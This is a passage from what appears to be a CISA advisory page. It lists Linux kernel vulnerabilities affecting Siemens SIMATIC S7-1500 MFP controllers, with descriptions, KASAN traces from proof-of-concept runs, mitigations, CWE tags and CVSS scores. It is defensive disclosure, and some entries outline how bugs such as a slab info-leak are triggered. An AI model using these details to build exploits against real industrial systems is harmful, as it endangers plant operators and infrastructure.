<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/115.html">CWE-115 Misinterpretation of Input</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43025</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: ignore explicit helper on new expectations Use the existing master conntrack helper, anything else is not really supported and it just makes validation more complicated, so just ignore what helper userspace suggests for this expectation. This was uncovered when validating CTA_EXPECT_CLASS via different helper provided by userspace than the existing master conntrack helper: BUG: KASAN: slab-out-of-bounds in nf_ct_expect_related_report+0x2479/0x27c0 Read of size 4 at addr ffff8880043fe408 by task poc/102 Call Trace: nf_ct_expect_related_report+0x2479/0x27c0 ctnetlink_create_expect+0x22b/0x3b0 ctnetlink_new_expect+0x4bd/0x5c0 nfnetlink_rcv_msg+0x67a/0x950 netlink_rcv_skb+0x120/0x350 Allowing to read kernel memory bytes off the expectation boundary. CTA_EXPECT_HELP_NAME is still used to offer the helper name to userspace via netlink dump.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43025">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.3</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43026</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: zero expect NAT fields when CTA_EXPECT_NAT absent ctnetlink_alloc_expect() allocates expectations from a non-zeroing slab cache via nf_ct_expect_alloc(). When CTA_EXPECT_NAT is not present in the netlink message, saved_addr and saved_proto are never initialized. Stale data from a previous slab occupant can then be dumped to userspace by ctnetlink_exp_dump_expect(), which checks these fields to decide whether to emit CTA_EXPECT_NAT. The safe sibling nf_ct_expect_init(), used by the packet path, explicitly zeroes these fields. Zero saved_addr, saved_proto and dir in the else branch, guarded by IS_ENABLED(CONFIG_NF_NAT) since these fields only exist when NAT is enabled. Confirmed by priming the expect slab with NAT-bearing expectations, freeing them, creating a new expectation without CTA_EXPECT_NAT, and observing that the ctnetlink dump emits a spurious CTA_EXPECT_NAT containing stale data from the prior allocation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43026">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/824.html">CWE-824 Access of Uninitialized Pointer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43027</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_helper: pass helper to expect cleanup nf_conntrack_helper_unregister() calls nf_ct_expect_iterate_destroy() to remove expectations belonging to the helper being unregistered. However, it passes NULL instead of the helper pointer as the data argument, so expect_iter_me() never matches any expectation and all of them survive the cleanup. After unregister returns, nfnl_cthelper_del() frees the helper object immediately. Subsequent expectation dumps or packet-driven init_conntrack() calls then dereference the freed exp-&gt;helper, causing a use-after-free. Pass the actual helper pointer so expectations referencing it are properly destroyed before the helper object is freed. BUG: KASAN: slab-use-after-free in string+0x38f/0x430 Read of size 1 at addr ffff888003b14d20 by task poc/103 Call Trace: string+0x38f/0x430 vsnprintf+0x3cc/0x1170 seq_printf+0x17a/0x240 exp_seq_show+0x2e5/0x560 seq_read_iter+0x419/0x1280 proc_reg_read+0x1ac/0x270 vfs_read+0x179/0x930 ksys_read+0xef/0x1c0 Freed by task 103: The buggy address is located 32 bytes inside of freed 192-byte region [ffff888003b14d00, ffff888003b14dc0)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43027">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/459.html">CWE-459 Incomplete Cleanup</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43028</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: x_tables: ensure names are nul-terminated Reject names that lack a \0 character before feeding them to functions that expect c-strings. Fixes tag is the most recent commit that needs this change.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43028">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/170.html">CWE-170 Improper Null Termination</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43030</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Fix regsafe() for pointers to packet In case rold-&gt;reg-&gt;range == BEYOND_PKT_END &amp;&amp; rcur-&gt;reg-&gt;range == N regsafe() may return true which may lead to current state with valid packet range not being explored. Fix the bug.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43030">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/372.html">CWE-372 Incomplete Internal State Distinction</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43033</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: authencesn - Do not place hiseq at end of dst for out-of-place decryption When decrypting data that is not in-place (src != dst), there is no need to save the high-order sequence bits in dst as it could simply be re-copied from the source. However, the data to be hashed need to be rearranged accordingly. Thanks,</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43033">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/237.html">CWE-237 Improper Handling of Structural Elements</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43035</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: sched: cls_api: fix tc_chain_fill_node to initialize tcm_info to zero to prevent an info-leak When building netlink messages, tc_chain_fill_node() never initializes the tcm_info field of struct tcmsg. Since the allocation is not zeroed, kernel heap memory is leaked to userspace through this 4-byte field. The fix simply zeroes tcm_info alongside the other fields that are already initialized.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43035">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/908.html">CWE-908 Use of Uninitialized Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43038</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: icmp: clear skb2-&gt;cb[] in ip6_err_gen_icmpv6_unreach() Sashiko AI-review observed: In ip6_err_gen_icmpv6_unreach(), the skb is an outer IPv4 ICMP error packet where its cb contains an IPv4 inet_skb_parm. When skb is cloned into skb2 and passed to icmp6_send(), it uses IP6CB(skb2). IP6CB interprets the IPv4 inet_skb_parm as an inet6_skb_parm. The cipso offset in inet_skb_parm.opt directly overlaps with dsthao in inet6_skb_parm at offset 18. If an attacker sends a forged ICMPv4 error with a CIPSO IP option, dsthao would be a non-zero offset. Inside icmp6_send(), mip6_addr_swap() is called and uses ipv6_find_tlv(skb, opt-&gt;dsthao, IPV6_TLV_HAO). This would scan the inner, attacker-controlled IPv6 packet starting at that offset, potentially returning a fake TLV without checking if the remaining packet length can hold the full 18-byte struct ipv6_destopt_hao. Could mip6_addr_swap() then perform a 16-byte swap that extends past the end of the packet data into skb_shared_info? Should the cb array also be cleared in ip6_err_gen_icmpv6_unreach() and ip6ip6_err() to prevent this? This patch implements the first suggestion. I am not sure if ip6ip6_err() needs to be changed. A separate patch would be better anyway.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43038">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/843.html">CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43040</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: ipv6: ndisc: fix ndisc_ra_useropt to initialize nduseropt_padX fields to zero to prevent an info-leak When processing Router Advertisements with user options the kernel builds an RTM_NEWNDUSEROPT netlink message. The nduseroptmsg struct has three padding fields that are never zeroed and can leak kernel data The fix is simple, just zeroes the padding fields.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43040">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/909.html">CWE-909 Missing Initialization of Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43057</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: correctly handle tunneled traffic on IPV6_CSUM GSO fallback NETIF_F_IPV6_CSUM only advertises support for checksum offload of packets without IPv6 extension headers. Packets with extension headers must fall back onto software checksumming. Since TSO depends on checksum offload, those must revert to GSO. The below commit introduces that fallback. It always checks network header length. For tunneled packets, the inner header length must be checked instead. Extend the check accordingly. A special case is tunneled packets without inner IP protocol. Such as RFC 6951 SCTP in UDP. Those are not standard IPv6 followed by transport header either, so also must revert to the software GSO path.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43057">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
